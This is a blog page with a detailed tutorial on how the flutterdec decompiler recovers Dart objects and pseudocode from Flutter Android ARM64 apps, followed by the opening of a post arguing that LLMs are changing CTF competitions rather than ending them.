caverav

How flutterdec works

Mon, 12 Oct 2026 00:00:00 GMT

When a colleague and I gave a one-hour talk about flutterdec, many people in the audience were unfamiliar with Flutter or compilers. Explaining the tool meant explaining those foundations too, and there was only so much we could cover in an hour. Writing this post gives me more room. You can stop at an unfamiliar concept, read about it, and return when it makes sense.

How to read this article

If you can read a function, a class, and an if statement, you have enough background to begin. I'll introduce compiler and Flutter concepts as they become relevant. Whenever an unfamiliar idea deserves more time, a study break will point you to a focused reading and give you a question to answer before continuing.

I'll start with what a compiled application contains in sections 1 to 4. Sections 5 to 9 follow the deserializer and the code analysis that turn those contents into something readable. In sections 10 to 13, you can explore the output, try a small experiment, and choose what to study next.

At the center of flutterdec are two connected jobs: understanding instructions and recovering the Dart objects those instructions use. The flutterdec pipeline brings these results together. Serwalker, introduced in PR #74, handles native snapshot deserialization. Understanding how these two jobs meet is the thread I'll follow throughout this article.

1 What problem flutterdec solves

Imagine you receive a Flutter application to review its behavior, but all you have is its APK. You want to find out which conditions it checks, which functions it calls, or where it uses a particular string. The code its author wrote has already passed through a compiler.

flutterdec is a static analysis tool for Flutter Android applications compiled with AOT for ARM64. It can take an APK or its libapp.so and produce pseudocode resembling Dart, along with disassembly, an intermediate representation, and reports. Static analysis means studying the files without running the target application.

The output gives you something you can read and reason about as you explore an application's behavior. Here is a short example from flutterdec's HiVPN output:

if ((codePoint == 0x20) || ((codePoint >= 9) && (codePoint <= 0xd))) {
  continue;
}

This is part of a loop. 0x denotes hexadecimal: 0x20 is 32 and 0xd is 13. The condition checks for a specific value or the range from 9 to 13. The comparison is already understandable without interpreting every processor instruction.

Names such as codePoint make the output easier to read, but they do not reveal whether the author used the same name. Recovering what a program does and recovering its exact source text are different goals.

The useful result is a readable reconstruction of the behavior flutterdec can analyze. When you need to check a conclusion, you can follow it back to the instructions and data behind it.

2 The foundations of Flutter and compilation

Dart is the language and Flutter is the framework

A Flutter application uses Dart to express its logic. Flutter provides the framework used to build the interface, while the engine provides low-level services and integrates the Dart runtime. These responsibilities help locate the application code and explain the environment it runs in. The Flutter architectural overview shows how the layers fit together. You can follow this article without first learning how widgets work.

I'll use this function as an example:

String category(int points) {
  if (points >= 100) {
    return 'premium';
  }
  return 'normal';
}

String indicates that it returns text, int that it receives an integer, and return provides the result. The function returns premium for 100 points or more and normal below that value.

I'll return to this function throughout the article. The diagrams and intermediate forms built around it are simplified illustrations. A real compiler may arrange its instructions differently, depending on the Dart version and the context in which the function is used.

Study break: Dart syntax

If the syntax is still distracting, review variables, functions, and classes in the official introduction to Dart. Return when you can explain what category(99) returns and what category(100) returns.

Compilation changes the representation

The processor executes instructions that work with registers, memory, comparisons, and branches. A compiler transforms the program to express it in those operations.

It can use several representations along the way. An abstract syntax tree, or AST, represents the program's structure: for example, that a comparison is part of a condition. An intermediate representation, or IR, is a working format that makes it easier to analyze or transform the program before producing another format.

Dart has a program representation called Kernel. Here, the name refers to a compiler structure rather than the operating system kernel. The compiler also uses representations closer to machine code. The VM internals documentation follows the path from the frontend, which reads and analyzes the source code, through these representations.

You do not need to memorize every stage. The useful idea is that transformations between the text and the instructions change the program's form.

JIT and AOT describe when compilation happens

Mode	When compilation happens	Relevance to this article
JIT, just in time	During execution	Part of the usual native development environment for Dart and Flutter.
AOT, ahead of time	Before running the distributed application	Produces the native code examined in supported Android ARM64 builds.

AOT still needs a runtime. The runtime supplies the services an application needs while it executes. It manages objects and memory, performs type system checks, and manages Dart's execution contexts, called isolates. This is why you can encounter the name “Dart VM” even when an application contains code compiled ahead of time. The name does not mean that every instruction is being interpreted as bytecode.

The Dart platform overview explains this separation. It also describes web targets, which can use JavaScript or WebAssembly. This article's ARM64 walkthrough is limited to the native target supported by flutterdec.

Study break: JIT, AOT, and the runtime

Read “Dart: The platforms” and “The Dart runtime” in that overview. Return when you can explain how an application can be compiled before it runs and still need runtime services.

3 What compilation changes and what the APK contains

The binary preserves the results of compiler decisions

Two programs written differently can end up expressing the same instructions. Renaming points to balance, rearranging an expression, or writing different comments does not require those differences to be preserved in the executable.

An optimizer can also transform the program:

Transformation	Conceptual example	Consequence for reconstruction
Constant folding	Replace `20 * 5` with `100`	The original calculation may disappear.
Elimination of unreachable or unnecessary code	Remove a function that cannot be used	There may be no function left to recover.
Inlining	Incorporate a function's body at its call site	The call and the original boundaries may disappear.
Control flow reorganization	Express a condition with a different arrangement of branches	The textual structure may change.

These are general compilation techniques, and the LLVM optimization tutorial offers a small example you can work through. The link explains the ideas rather than describing flutterdec's implementation or Dart's AOT compiler.

Return to category. If the compiler can work out points before the application runs, it may replace the decision with a known result. If the result depends on a value that only becomes available at runtime, the generated program must still make that decision. When you experiment with a small function, how you call it matters just as much as its body.

That is why understanding a program's behavior does not reveal exactly how its source was written. A decompiler can reconstruct a useful version of the logic, but it cannot recover from the binary a distinction the compiler did not preserve. This remains true even as decompilers improve.

Study break: How compilers work

A Map of the Territory, from Robert Nystrom's book Crafting Interpreters, provides an initial view of the pieces that make up a language. If you already understand that map, chapter 3 of the LLVM tutorial shows how a syntax tree becomes IR. Return when you can distinguish text, program structure, and executable code.

APK is the container and ELF is the library format

An APK is a ZIP-based package. It can contain resources, Android code, and native libraries. Android places these libraries under paths such as lib/<abi>/lib<name>.so. The folder name arm64-v8a identifies the ARM64 variant. The NDK documentation explains this packaging.

For the case this article focuses on:

Item	Role
`app.apk`	Contains the application's distributed components.
`lib/arm64-v8a/libapp.so`	Contains the Dart application's AOT output for this target.
`libflutter.so`	Corresponds to the Flutter engine.
`classes*.dex`	Contains code from the Android layer, which can provide context about startup.

A .so library uses the ELF format, which describes file regions, addresses, and other metadata needed to work with native code. A snapshot is a saved representation of structures that the runtime needs to reconstruct. Section 5 explores what it means to save their objects and relationships.

The flutterdec loader opens the APK or ELF, checks that the target is AArch64, and recovers regions identified by symbols such as _kDartIsolateSnapshotData and _kDartIsolateSnapshotInstructions. It also handles the equivalent VM regions.

Data and Instructions separate two kinds of information: snapshot data and executable instructions. The VM/isolate distinction identifies which runtime scope a region belongs to. For now, the important point is that the file contains several regions, each with a different role.

To read the file, the loader needs the expected snapshot regions and valid bounds for each one. The .so extension alone does not tell it where Dart's data and instructions are.

4 Two tasks that depend on each other

Analyzing an instruction that uses an object requires answering two questions:

What operation does it perform?
Which object or value is involved?

Disassembly answers the first question by interpreting bytes according to an architecture. Deserialization reconstructs data and relationships saved in the snapshot. Decompilation uses that information to build a higher-level representation.

The diagram below follows these two kinds of information until they meet in the analysis. Serwalker supplies the native deserialization path. Other producers can supply the program model, which I'll return to later.

flowchart TD A["APK or libapp.so"] --> L["Loader"] L --> D["Snapshot data"] L --> I["ARM64 instructions"] D --> S["Deserialization"] S --> M["Objects and metadata"] I --> C["Disassembly"] M --> C M --> R["IR and flow analysis"] C --> R R --> P["Pseudocode and reports"]

Each stage needs a convenient way to ask about the objects and functions recovered so far. That is the role of the program model, which stores records of functions, classes, values, and their relationships. A producer builds those records, an adapter passes them to the rest of flutterdec, and a backend is the particular implementation that recovers the information.

Separating these tasks helps explain why a good general-purpose disassembler cannot solve the whole problem on its own. It can recognize a load from memory without knowing which Dart object it corresponds to. This also explains why extracting names and strings is not enough to reconstruct the program's decisions.

The introductory Ghidra guide shows the same principle in a different tool. Its decompiler translates assembly into an internal representation and then into C. Changing the available type and function-signature information can change the code it produces, which makes it a useful example of how context affects decompilation.

5 A snapshot stores objects and relationships

Serializing an object is only the beginning

Serialization means representing data as a sequence that can be stored or transmitted. Deserialization means interpreting that sequence to reconstruct a usable representation.

With a list of numbers, the problem seems straightforward. Objects that point to one another introduce another challenge: preserving their relationships and identity.

Imagine that two functions belong to the same class. Reconstructing a separate copy of the class for each function would lose the fact that both point to the same object. There can also be references to objects that appear later, or paths that lead back to the original object.

This structure is called an object graph: objects are nodes, and references are links. The Dart snapshot documentation describes how the runtime serializes that graph. An AOT snapshot packages the objects and relationships needed to start and run the program. It is a starting state for execution, not a recording of what a user does after opening the application.

An identifier is not a memory address

An identifier can be used to store a reference. Saying “this field points to object 300” makes it possible to resolve the relationship once the objects are known.

It helps to distinguish these numbers before looking at the Serwalker code:

Concept	What it identifies
CID, class ID	A class or category of runtime object.
`reference_id`	An object within the snapshot reference space.
`code_index`	An encoded position related to the instruction table.
Offset	A distance, usually in bytes, from a base.
VA, virtual address	An address in the virtual address space described by the binary.

They are not interchangeable. A CID does not locate a function, an object identifier is not an ARM64 address, and an offset needs a base before it can become an address.

The difference between an offset within a file and a virtual address also matters: a library does not have to be loaded at an address that numerically matches the position of its bytes on disk.

The runtime has objects the programmer did not write

In Serwalker, Function and Code refer to internal structures that describe functions and code. This does not mean the application declared classes with those names.

The runtime maintains structures to represent libraries, classes, functions, types, strings, and other elements. Part of their value for reverse engineering is that they can connect a name, an owner, and a range of instructions.

Study break: Dart runtime objects

Look up any terms you need in the VM glossary. Return when you can describe the difference between an application object, an internal object that describes a function, and the instructions that execute that function.

6 Serwalker reconstructs the serialized part

Serwalker is flutterdec's snapshot deserializer, written in Rust. Its walk_snapshot_and_produce_model function starts with the regions extracted by the loader, reads the isolate data and instruction image, and builds representations that the rest of the analysis can use.

Serwalker stores the reconstructed objects and their references in Rust structures. These structures let flutterdec inspect the program without executing it. This step does not require starting a Dart VM or recreating a running application.

Reading a header requires knowing the format

Before walking through objects, parse_header checks an identifying marker, reads the snapshot size and kind, and obtains its format version and features.

The snapshot hash identifies the format that Serwalker must understand. It is a compatibility identifier, not a hash of the APK's contents.

The parser checks for:

A FullAOT snapshot.
The snapshot hash 78da37fed6bf1489361a312568249f3f used by Dart 3.11.1.
The compressed-pointers feature.

compressed-pointers indicates that certain object references use a shortened representation. This is a property of the object representation, separate from APK compression.

Serwalker also uses details of the ARM64 layout. Dart can change the snapshot format without changing the target processor, so recognizing the instructions does not automatically explain how to read the objects.

The Stream type keeps a cursor pointing to the next bytes to read. Some fields have a fixed width. Several integers in the snapshot body use Dart's variant of LEB128, which encodes a number using a variable number of bytes. Reference identifiers use a separate reader, read_ref_id, because they follow a different encoding. Reading a field with the wrong method can move the cursor to the wrong position and misinterpret everything that follows.

A binary parser therefore has to get two things right at every step: what the field means and how many bytes belong to it.

Clusters group objects that share a reading scheme

A cluster groups objects that share a set of deserialization rules. The format handles them together so that the reader can apply those rules to the whole group.

The header reports how many clusters there are. For each one, Serwalker reads its tags, determines its CID, and selects an implementation through decide_cluster. There are implementations for classes, functions, code, strings, arrays, the object pool, and other structures.

The tags also include properties such as whether an object is canonical or immutable. Here, “canonical” relates to the shared representation that the runtime maintains for certain equivalent values. These details affect how the group is identified and must be preserved while walking through it.

The benefit of this organization is that each implementation knows how to read the fields of its object type. An array of variable length and a function structure do not have to be interpreted as if they had the same format.

A first pass creates objects and a second fills them

This is one of the most important mechanisms in the deserializer.

Consider this illustrative graph, with invented identifiers. The numbers are reference_id values: they identify specific objects in the snapshot, not CIDs.

flowchart TD C["Class with ID 100"] -->|"functions"| A["Array with ID 200"] A --> F["Function with ID 300"] F -->|"owner"| C

When reading class 100, array 200 might not have been reconstructed yet. And on reaching function 300, there is a reference back to the class.

Dart's snapshot format organizes object reconstruction into two passes over all clusters. Serwalker follows that structure when reading the stream:

Pass	Work
`read_alloc`	Creates the representations, reads the information needed to determine their sizes, and assigns ranges of identifiers.
`read_fill`	Reads and fills in the fields and references of those objects.

The snapshot first describes the objects to allocate across the complete set of clusters. Only after that does it provide the information needed to fill their fields and references, in the recorded order. Serwalker reads each phase accordingly, so references can point to objects whose contents have not yet been filled.

Numbering in parse_clusters starts after the base objects declared by the snapshot. At the end of allocation, Serwalker checks that the total reference count matches the header. This gives it an early check that the stream and its object counts agree.

Fields retain identifiers that can later be looked up using utilities such as find_object_by_id. This makes it possible to represent shared relationships, forward references, and cycles without expanding each reference into a new copy.

The idea is similar to loading database rows with identifiers and then resolving their relationships. That analogy helps explain the dependencies between objects. The actual snapshot format is binary and specific to Dart.

Check your understanding. If function 300 points to class 100, should you create a new class? No: you should resolve the reference to the representation associated with that identifier.

Roots help locate important structures

After the clusters, Serwalker processes the program roots: references that provide access to relevant structures.

parse_roots reads the ObjectStore, field tables, and a dispatch table. The dispatch table helps organize the targets of calls. The ObjectStore provides access to another important structure: the global object pool.

The roots have a concrete use: the model producer looks up global_object_pool in the ObjectStore and resolves the corresponding identifier. This is how it identifies the global pool through a relationship in the snapshot.

Following this reference identifies which pool the program uses globally. That relationship lets the next stages connect a pool access in the code to the right collection of objects and values.

Connecting functions to instructions

Knowing a function name still does not reveal which bytes it executes. To connect those worlds, Serwalker uses the instruction table and relationships between Function and Code objects.

The table contains offsets to instruction payloads. Here, a payload is the associated block of code bytes. A function's code_index field uses a numbering scheme that the implementation converts into a table index: for a nonzero value, it subtracts one. If code_index is 3, it looks up entry 2.

The table also records first_entry_with_code, the point at which its entries start corresponding to objects in CodeCluster. If that value is 2, table entry 2 corresponds to the first object in the cluster. Serwalker uses this rule to move from a table index to the corresponding object reference.

The runtime can discard a Code metadata object while keeping its machine instructions. The function producer handles both cases: entries with retained Code objects and entries whose instructions must be located through the table.

Once the offset is known, adding it to the virtual base address of the image gives the payload address. For example:

Virtual base address of instructions: 0x700000
Payload offset:                      0x1200
Virtual address of the payload:      0x701200

The producer turns these offsets into address ranges, giving later analysis a starting address and a number of bytes to read. For a retained Code object, the range covers the whole payload, which may contain multiple entry points.

Deferred code belongs to units that load separately. Its metadata can appear in the main snapshot even when its instructions are elsewhere. Serwalker leaves those entry points unresolved and omits their functions from the model.

Producing a usable model

The reconstructed objects now need a form that the rest of flutterdec can use. ProgramModel v4 provides that common schema. The model producers turn libraries, classes, functions, and pool entries into records, following references to recover names and ownership information. Function records also connect that information to the address ranges found in the instruction image.

The pool producer walks the selected ObjectPool in order, keeping its exported indices aligned with the slots used by the machine code. It exports string contents and immediate values. For other objects, it may only have a type and a reference ID. Recognizing those does not by itself reveal the complete value or resolve a call target. The optional fields in ProgramModel v4 let later stages work with the facts available without inventing the missing ones.

Object references also have to account for base objects, which occupy the first IDs in the snapshot. Serwalker starts numbering its newly read objects after them. A reference into that initial range remains unresolved if the corresponding base object has not been reconstructed.

The schema also records what information is available and where it came from. Later stages can use a function's address range to select instructions, its recovered name to label calls, and pool values to explain loads. They can do this without repeating the snapshot deserialization or assuming that every optional field has been filled.

7 How a memory load becomes a meaningful value

Registers are working locations inside the processor

For this section, it is enough to distinguish registers from memory. Registers are small areas of working storage inside the processor. Memory contains instructions, objects, and other data that can be loaded into them.

In AArch64, you will encounter register names such as x0 and x27. An ldr instruction loads a value from memory, cmp compares values, and branches change which instruction executes next. The Arm A64 guide explains these operations.

An ABI defines conventions that let different pieces of code work together: how they pass arguments, which registers they reserve, and how they organize certain accesses. In addition to the architecture, flutterdec needs to recognize Dart runtime conventions.

The flutterdec disassembler uses Capstone to decode instructions and adds annotations for Dart's conventions. For ARM64 code, those annotations include pool accesses through x27, also called PP.

The object pool holds values that the code uses

The ObjectPool lets code access objects and constants through entries. Strings are an easy example to visualize, but the pool can also contain other kinds of values.

Consider category again. One of its paths might load the object representing premium from the pool. The instruction provides a location relative to the pool base. Deserializing the pool connects that location to a value.

Consider this illustrative instruction:

ldr x0, [x27, #0x28]

This reads as “load into x0 the value located 40 bytes from the base held in x27.” 0x28 equals 40.

The pool geometry declared by Serwalker places the first entry 16 bytes from the base and uses entries of 8 bytes. With those values:

Index = (displacement − start of entries) / entry size
Index = (40 − 16) / 8
Index = 3

Suppose slot 3 contains a reference to premium. The instruction can now be interpreted as a load of that string object. This interpretation depends on both the instruction and the pool's contents and layout. The layout describes where the entries begin and how much space each one occupies. The flutterdec model stores that geometry and checks whether a displacement can be converted into an entry index.

Those offsets and entry sizes belong to the ARM64 pool layout. Even with compressed-pointers, its slots occupy eight bytes. Compressing certain object references does not make every field or structure in the binary four bytes wide.

Finding strings does not prove how they are used

Suppose a byte scan finds normal and premium, in that order. That only establishes the scan order. Nothing proves that they are pool entries 0 and 1, or that this function uses them.

ProgramModel v4 distinguishes hardware indices, tied to the actual layout, from ordinal indices that simply enumerate a producer's output. If the available metadata does not justify converting a displacement into a pool index, the disassembler can keep it as poolOff[...]. The expression preserves what the instruction establishes without attaching a string to the wrong location.

Deserialization supplies the missing connection: which object or value belongs to the location that the machine code accesses.

A Dart reference also has a representation

The runtime distinguishes immediate small integers from object references using tag bits. As a result, without additional information, a number observed in a register cannot always be interpreted directly as an ordinary integer or an address.

Understanding these representations helps interpret what an instruction is actually moving or comparing. The Object representation section of the GC documentation explains tagged values without requiring a tour of the entire garbage collector.

Study break: Registers and tagged values

Read that section and the sections on registers, loads, and program flow in the Arm guide. Return when you can explain why ldr describes an operation, but understanding its meaning in Dart requires additional context.

8 From instructions to blocks and decisions

A dedicated IR organizes what was recovered

Once the instructions have been disassembled, flutterdec builds its own working representation. This LLIR, or low-level IR, preserves addresses, operations, text, and targets.

The IROp type distinguishes these categories:

Category	Purpose
`Call`	Calls.
`Branch`	Conditional branches.
`Jump`	Unconditional jumps.
`Return`	Returns.
`LoadPool`	Recognized pool accesses.
`RuntimeCheck`	Certain runtime support patterns.
`Other`	Preserved instructions that do not fall into the categories above.

flutterdec builds this IR from the instructions in the binary. It becomes the analyzer's working model during decompilation. The compiler's original IR is a separate representation that this process does not recover.

For teaching purposes, I'll represent the example like this:

compare points with 100
if less, go to NORMAL

PREMIUM:
    result = pool[3]
    go to EXIT

NORMAL:
    result = pool[4]

EXIT:
    return result

For this illustration, slot 3 holds premium and slot 4 holds normal. I've used a short notation to make the flow easy to follow. The --emit-ir option writes this kind of information as JSON. A compiler may arrange the branches differently while preserving the same decision.

Basic blocks describe stretches of execution

A basic block is a sequence of instructions traversed without internal branches in ordinary control flow. Decisions connect blocks to one another.

The control-flow graph, or CFG, represents these blocks and the possible paths between them. Serwalker's object graph connects objects through references. The CFG connects blocks through possible execution paths.

flowchart TD E["Compare points with 100"] -->|"Less than"| N["Load normal"] E -->|"Greater than or equal to"| P["Load premium"] N --> S["Return result"] P --> S

In the CFG builder, flutterdec marks block beginnings at the entry point, at jump targets, and after instructions that end a stretch of execution. It then records successors and predecessors: where each block can go and where it can be reached from.

The graph makes it easier to study a property that is less clear in a list of instructions: the example's two branches return to a common point.

Recovering a condition requires tracking values

Recognizing that a conditional branch exists does not, by itself, reveal the high-level expression. The comparison must be interpreted, and the values that reach it must be tracked.

The expression analysis works with instructions and register state to build readable approximations. A sequence of moves, loads, and operations may end up expressed as a comparison or a field access. If a relationship is missing, register names, memory locations, or partial expressions may remain.

The kind of call also matters. A direct call contains a target that can be resolved to a known address. An indirect call obtains its target from a computed or loaded value. Resolving the latter may require information that the static analysis does not yet have.

A method name found near a call may provide context, but it does not replace evidence that the call targets that method.

9 Turning control flow into readable code

Sharing code where branches rejoin

In the previous diagram, the “Return result” block lies on both paths. If the emitter expanded each path separately, it could duplicate the code they share. In large graphs, those duplications can grow quickly.

To organize control flow, Regions::build computes dominance and postdominance relationships:

A block dominates another if every path from the entry point to that other block passes through it.
A block postdominates another if every path from that other block to an exit passes through it.

In the example graph, the comparison comes before both branches, and the shared return comes after them. These relationships help identify the condition and the point where control flow rejoins.

Cycles require recognizing paths that return to a header. When that header dominates the block from which the path returns, a natural loop can be identified. This relationship helps the emitter express it as a repetition structure.

These are graph concepts applied to a program. Their purpose here is concrete: they help determine where to open and close an if, where to place a loop, and which block should be emitted only once.

Some arrangements of jumps do not fit this pattern of conditions and loops. The emitter can use another strategy for those cases, although parts of the resulting control flow may remain unresolved.

The compiler also introduces support instructions

Suppose a branch appears before the body of a function. It could be a condition in the program, but it could also be a check introduced to protect execution.

flutterdec recognizes a stack-limit check pattern and classifies it as RuntimeCheck. The stack is a region used to organize part of the state of function calls. If that check were interpreted as business logic, it would add a condition and perhaps a loop that the developer never wrote.

Reconstructing structures therefore also requires distinguishing the application's work from the runtime's support work.

From expressions to pseudocode

After structuring the flow, the emitter cleans up expressions, compacts repeated patterns, and adds names or types. Some of that context comes from recovered data. Other details are inferred to make the operations easier to read.

For the example, a simplified pseudocode rendering might look like this:

String recoveredFunction(int value) {
  if (value >= 100) {
    return 'premium';
  }
  return 'normal';
}

The comparison and its two outcomes are the behavior the decompiler needs to recognize. Function names, parameter names, and the arrangement of the branches may differ from the source text.

The signature is also a reconstruction. Its arguments and types reflect what the emitter could model, so they may be less precise than the original declaration.

Check your understanding. Does seeing a while in the pseudocode prove that there was a while in the source? No: it shows that the emitter represented part of the control flow as a loop. The original structure could have been written differently.

10 Reading the results

A common model connects the analysis stages

The rest of the pipeline needs objects, names, and code ranges in a common shape. ProgramModel v4 provides that contract. It describes libraries, classes, functions, and the object pool, along with the capabilities of the recovery process and the provenance of each fact. This lets the later stages work with the information they need without having to parse the snapshot themselves.

Different recovery approaches supply different amounts of context:

Recovery approach	What it provides	What to keep in mind
Serwalker	Objects and their relationships read from the serialized clusters.	The parser must support the snapshot format.
`r2flutter` backend	Metadata from the external parser and real pool entries when recovered.	This backend does not attribute classes to libraries.
`blutter` backend	Information adapted from Blutter's output.	Names extracted from rendered text are heuristic. The pool uses ordinal indices.
Internal recovery in the Python producer	Strings and candidate code ranges.	A string scan does not reconstruct the complete object graph.
Basic recovery in the Rust core	Candidate functions identified from instruction patterns.	Function names, classes, and the object pool remain unavailable.

The Python producer can try different backends to obtain this information. When a compatible metadata recovery path is unavailable, the core can still identify code candidates from the instructions. That gives the disassembler a starting point, even when names and object relationships are missing.

Read the files as different views of the same program

File	Question it helps answer
`pseudocode/*.dartpseudo`	What behavior did the tool manage to express?
`asm/*.s`	Which instructions were analyzed?
`ir/*.json`	How were those instructions and their targets organized?
`report.json`	What was selected, which producer was used, and what information was recovered?
`quality.json`	Which constructs remained unresolved, and which thresholds were exceeded?

Provenance tells you how a fact entered the model:

Provenance	Meaning
exact	Read directly from a structure the parser understands.
derived	Calculated from recovered facts.
heuristic	Inferred from patterns that may not hold in every case.

Capabilities describe how much of a domain was recovered: complete, partial, or unavailable. A missing function name stays missing, which lets you distinguish an unknown name from a recovered one.

For example, an exact name in an obfuscated binary is the obfuscated name stored in the snapshot. The label describes how the name was recovered. It does not restore the spelling that existed before obfuscation.

The Flutter documentation on obfuscation explains that this mechanism changes symbols and does not encrypt resources. Useful information may therefore still be available for analysis, even if the names are less expressive.

Use quality metrics to decide where to look

The quality counters help you find parts of the output that need closer inspection. They track placeholder conditions, unresolved control flow, the proportion of indirect calls, and disassembly coverage, among other properties.

Use these counters to locate gaps and compare runs. They do not measure the percentage of original source code recovered. A readable condition may still depend on incomplete information, so the operations behind that condition matter as much as its presentation.

The CLI sets --max-placeholder-ifs to zero by default. A placeholder condition can therefore fail the quality gate after the artifacts have been written. If that happens, open quality.json to see which threshold was exceeded and continue inspecting the generated files. An earlier loading or analysis error may prevent artifacts from being written.

To understand a branch, follow it through the pseudocode, the IR, and the instructions. If an expression contains a string or a name, check how the producer linked that value to the code. You can then connect the behavior you are studying to the bytes and objects that support it.

11 Try tracing one condition

Start with a single function or condition and follow it through the output files. Keeping the example small makes it easier to see what each stage contributes.

You can use an application of your own or a suitable public example. If you build a minimal application, make the function you want to study reachable and make its input depend on a runtime value. Otherwise, optimizations may remove the very thing you wanted to observe.

Inspect the app and run the analysis

Follow the installation guide to set up flutterdec. With flutterdec installed and an Android AOT APK containing the ARM64 variant, begin by inspecting the app:

flutterdec info ./app.apk --json

Find the snapshot_hash and features in the output. Compare them with the snapshot format Serwalker supports, as described in Section 6. A matching architecture tells you how to decode the instructions. The snapshot hash and features tell you whether the parser understands the serialized objects. Once the format matches, run:

flutterdec decompile ./app.apk -o ./out \
  --adapter-backend internal --emit-asm --emit-ir

The --adapter-backend internal option selects Serwalker. The --emit-asm and --emit-ir options add disassembly and IR files alongside the pseudocode. Check report.json to see what information was recovered, then open a small function in all three forms.

Tracing an entire condition

Open the artifacts and work through these steps:

Find a small function and a condition you can recognize in the pseudocode.
Locate its blocks in the IR and the targets of both branches.
Find the corresponding comparison and branch in the disassembly.
If there is a pool load, note the displacement and check whether a geometry is available that lets you obtain an index.
Check where the data associated with that entry came from.
Write down which conclusion is supported and which detail is still missing.

Record your conclusion in concrete terms, such as “this branch loads the object from entry 3 and returns the result.” Note how you identified the branch, linked the load to the pool, and resolved the object. Those steps make the conclusion reproducible.

The default app-unknown scope includes code classified as application code and code whose owner is unknown. Package dependencies may appear too. Use --app-package to focus on a package or --target to select a function, as described in the CLI reference.

12 A study path with return points

You do not need to read all of the linked documentation from beginning to end. Choose the resource that addresses the difficulty you encounter, then return to the point in the article where it arose.

Foundation you want to strengthen	Specific reading	You can return when you can
Dart syntax	Introduction to Dart, variables, functions, and classes.	Explain what `category` does without relying on Flutter.
Application layers	Flutter architecture, “Architectural layers” and “Anatomy of an app.”	Distinguish the application, framework, engine, and runtime.
JIT and AOT	Dart overview, platforms and runtime.	Explain why AOT still needs to manage objects.
Parts of a compiler	A Map of the Territory.	Place the AST, IR, and machine code in the process.
Using an IR	LLVM tutorial, chapter 3.	Understand why a program is transformed into a working format.
Optimizations	LLVM tutorial, section 4.2.	Understand how the structure changes without changing the expected computation.
Native code on Android	Android ABIs, “Native code in app packages.”	Know what `arm64-v8a` identifies inside the APK.
ARM64 instructions	Arm A64 guide, registers, loads, and branches.	Explain a memory load and a conditional branch.
Snapshots	VM documentation, “Running from Snapshots” and “Running from AppAOT snapshots.”	Distinguish the serialized graph from the instruction image.
Objects and references	Garbage Collection, only “Object representation” to begin with.	Distinguish an immediate integer from an object reference.
Decompiler output	Ghidra beginner's guide, “Decompiler Overview.”	Understand why more context can change the pseudocode.
Obfuscated names	Dart obfuscation.	Distinguish a renamed symbol from information that has been removed or encrypted.

Use the Dart internals glossary whenever you encounter terms such as CID, PP, object pool, Kernel, or stub. A stub is a small runtime support routine. Recognizing it helps you distinguish runtime work from the application's logic.

Getting started with the implementation

The code becomes less opaque if you approach it through questions:

Question	Starting point
How are regions extracted from the binary?	`load_snapshot_bundle` and the loader.
How is a compatible recovery path selected?	Model selection.
Where does Serwalker begin?	`walk_snapshot_and_produce_model`.
How are objects read and connected?	Snapshot, clusters, and reference reading.
How are a function's instructions located?	Instruction table and function producer.
How is a load connected to the pool?	Pool producer and disassembler.
How are blocks built?	IR and CFG.
How are conditions and loops organized?	Regions and structured emitter.
How is incomplete output measured?	Quality.

To compare the format with its original implementation, the Dart 3.11.1 SDK deserializer is an advanced reading option. Look for Deserializer::Deserialize and compare the separation between allocation and filling with Serwalker. datastream.h lets you explore the binary readers further. This reading is much more useful after you understand the graph example.

13 Questions to check that the pieces fit together

Why is unpacking the APK not enough to obtain the Dart source code?

Unpacking recovers the files inside the package. For this target, the Dart code has already been transformed into AOT instructions and structures. Decompilation analyzes those files to reconstruct the program's behavior.

If I find the string premium, what do I actually know?

You know that those bytes or that object are present in what was analyzed. To claim when it is used, you need to link it to accesses in the code and to an execution path. In the example, that relationship runs through the pool and the condition.

Why does Serwalker need two passes over the clusters?

The first pass creates the objects and assigns their identities. The second fills their fields. References can then point to the same object even when it appears later in the snapshot or belongs to a cycle.

What does Serwalker provide that Capstone does not?

Serwalker interprets objects and relationships in the snapshot. Capstone interprets the architecture's instructions. flutterdec needs to connect both results to express operations with Dart context.

Why can a snapshot from another version fail even if the processor is still ARM64?

Because the instructions and the object format are different layers. The parser needs to understand the snapshot schema and the conventions of the corresponding configuration.

What does it mean for the result to have acceptable quality?

It means that it met certain criteria measured by the tool. To draw a conclusion about behavior, you still need to review the relevant evidence and the limitations of the recovery.

A line of pseudocode becomes easier to understand when you can follow it back to a comparison, a branch, and the values those instructions use. flutterdec brings those views together. Serwalker supplies the objects and relationships that connect native instructions to Dart concepts.

Contributing to flutterdec

flutterdec is still an early-stage project, and there's plenty of room to improve it. Better decompilation, support for more Dart versions, new analysis capabilities, documentation, and testing are just some of the areas where contributions can make a difference.

If you're interested in reverse engineering, compilers, or Flutter internals, I'd love to have you involved. You don't need any prior experience with these topics to contribute. Curiosity and motivation are more than enough to get started.

Feel free to reach out to me if you have any questions, need help getting started, or want some guidance on what to learn to contribute to a particular part of the project. I'm happy to help you find a starting point based on your interests and experience.

You can explore the code, report issues, suggest improvements, or open a pull request on GitHub. Contributions of all kinds are welcome.

Acknowledgements

Special thanks to Javier Silva, whose research into Dart snapshot deserialization laid the groundwork for Serwalker. He also gave the talk with me that inspired this article.

CTFs Are Not Dead, They’re Just Growing Up

Sat, 11 Apr 2026 00:00:00 GMT

TL;DR

There’s a growing narrative floating around that Capture The Flag (CTF) competitions are “dead” because of modern LLMs. The argument is simple: if a model can solve challenges faster than humans, what’s the point?

I think that’s the wrong conclusion.

What’s actually happening is something more interesting. CTFs are splitting into two very different worlds, and both still matter.

The “LLM killed CTFs” take

The concern is not baseless.

Recent work has shown that LLMs can already solve a non-trivial portion of CTF-style problems. For example, LLMs have demonstrated the ability to solve binary exploitation and web challenges with tool augmentation, especially when prompts include structured hints or intermediate feedback (Fang et al., 2024). Similarly, AutoCTF-style agents can autonomously chain reasoning and tools to solve tasks end-to-end (Zhang et al., 2024).

Even OpenAI and Anthropic have shown that models can perform multi-step reasoning and tool use in security-relevant contexts, including reverse engineering and vulnerability discovery (OpenAI, 2024), (Anthropic, 2024).

So yes, if your challenge is:

a known vuln pattern
a standard crypto primitive misuse
or a simple reversing puzzle

then a strong model plus a bit of scaffolding can absolutely solve it.

But that says more about the challenge than about the death of CTFs.

Low-level CTFs were never about the leaderboard

Let’s be honest for a second.

Beginner and intermediate CTFs were never about “who is the smartest hacker alive”. They were about learning.

If someone uses an LLM to solve a basic buffer overflow challenge and gets first place, that’s fine. They learned nothing.

Meanwhile, someone else who:

steps through the binary in GDB
understands stack layout
writes the exploit manually

is actually building skill.

